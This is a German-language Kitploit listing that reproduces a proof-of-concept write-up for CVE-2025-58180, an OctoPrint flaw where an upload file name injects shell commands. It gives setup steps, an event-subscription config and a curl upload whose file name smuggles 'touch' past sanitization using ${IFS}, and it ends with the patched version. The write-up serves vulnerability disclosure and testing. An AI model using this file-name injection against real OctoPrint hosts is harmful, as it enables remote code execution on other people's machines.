Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-58180 — In OctoPrint Version <=1.11.2 kann ein Angreifer mit Datei-Upload-Zugriff (z. B. gültiger API-Schlüssel oder Sitzung) einen bösartigen Dateinamen erstellen, der die Bereinigung umgeht und später vom Ereignissystem von OctoPrint ausgeführt wird, was zur Remote-Codeausführung (RCE) auf dem Host führt. | Kitploit
Tools/GitHubGitHub/prabhatverma47/cve-2025-58180
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and Control
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
vor 1 JahrNoch nicht geprüft

Über

In OctoPrint Version <=1.11.2 kann ein Angreifer mit Datei-Upload-Zugriff (z. B. gültiger API-Schlüssel oder Sitzung) einen bösartigen Dateinamen erstellen, der die Bereinigung umgeht und später vom Ereignissystem von OctoPrint ausgeführt wird, was zur Remote-Codeausführung (RCE) auf dem Host führt.

Teilen

CVE-2025-58180 RCE in OctoPrint durch unsanitären Dateinamen beim Dateiupload

In OctoPrint-Versionen <=1.11.2 kann ein Angreifer mit Dateiupload-Zugriff (z. B. gültiger API-Schlüssel oder Sitzung) einen bösartigen Dateinamen erstellen, der die Bereinigung umgeht und später vom Ereignissystem von OctoPrint ausgeführt wird, was zu Remote Code Execution (RCE) auf dem Host führt.


PoC: Schritte zur Nachstellung der Schwachstelle

Schritt 1: Versionsinformationen

Neueste stabile Version heruntergeladen: OctoPrint 1.11.2

Bild

Schritt 2: OctoPrint ausführen

root@kitploit:~
octoprint serve --port 5000 --debug
  • Öffnen Sie http://127.0.0.1:5000 im Browser.
  • Durchlaufen Sie den Erstkonfigurationsassistenten → Benutzer mit Standardeinstellungen erstellen (deaktiviert: Konnektivität, anonym, Plugin).
  • API-Schlüssel aus Einstellungen → API holen → für später aufbewahren. Bild
  • Stoppen Sie den OctoPrint-Dienst, sobald die obigen Schritte abgeschlossen sind.


    Schritt 3: Ereignisabonnement konfigurieren

    Gemäß der OctoPrint-Ereignisdokumentation:

    Bearbeiten Sie ~/.octoprint/config.yaml:

    root@kitploit:~
    events:
      enabled: true
      subscriptions:
        - event: FileAdded
          type: system
          debug: true
          command: "{path}"
    
    Bild

    Schritt 4: Beispiel-G-Code erstellen

    Erstellen Sie /tmp/gcode/ok.gcode:

    root@kitploit:~
    ; minimal gcode
    G28
    M105
    

    Starten Sie den OctoPrint-Dienst neu.


    Schritt 5: Proof of Concept RCE

    1. API-Schlüssel exportieren:
    root@kitploit:~
    export API_KEY='<key previously gathered from webUI>'
    
    1. Überprüfen, ob die Datei nicht existiert:
    root@kitploit:~
    ls -la /tmp/test123
    
    1. Bösartigen Dateinamen-Payload erstellen: INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

    Erklärung: ${IFS} ist das interne Feldtrennzeichen der Shell (normalerweise ein Leerzeichen). Es umgeht die Bereinigung, wenn es injiziert wird.

    1. Curl-Anfrage senden:
    root@kitploit:~
    curl -sS -X POST -H "X-Api-Key: $API_KEY" \
      -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
      "http://127.0.0.1:5000/api/files/local"
    
    1. Ausführung überprüfen:
    root@kitploit:~
    ls -la /tmp/test123
    
    Bild

    Wenn /tmp/test123 existiert, wurde der injizierte Befehl erfolgreich ausgeführt → RCE bestätigt.


    Erklärung des Ablaufs

    root@kitploit:~
    [User upload with crafted filename]
            │
            ▼
    server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
            │
            ▼
    events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
            │
            ▼
    system command subscriber → subprocess.check_call(..., shell=True)
            │
            ▼
    [Injected shell metacharacters execute as OS commands]
    

    Zusammenfassung

    Wenn eine Datei hochgeladen wird:

    1. OctoPrint akzeptiert den Dateinamen (mit eingeschränkter Bereinigung).
    2. Es löst ein FileAdded-Ereignis aus.
    3. Wenn Systembefehle für dieses Ereignis abonniert sind, wird der rohe Dateiname (einschließlich ;, ${IFS} usw.) an eine Shell übergeben.
    4. Dadurch können injizierte Befehle im Dateinamen auf dem Host ausgeführt werden.

    Ergebnis: Remote Code Execution (RCE) auf dem Hostsystem.


    Referenzen

    • CVE zugewiesen:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
    • Gepatchte Version: 1.11.3

    Tool herunterladen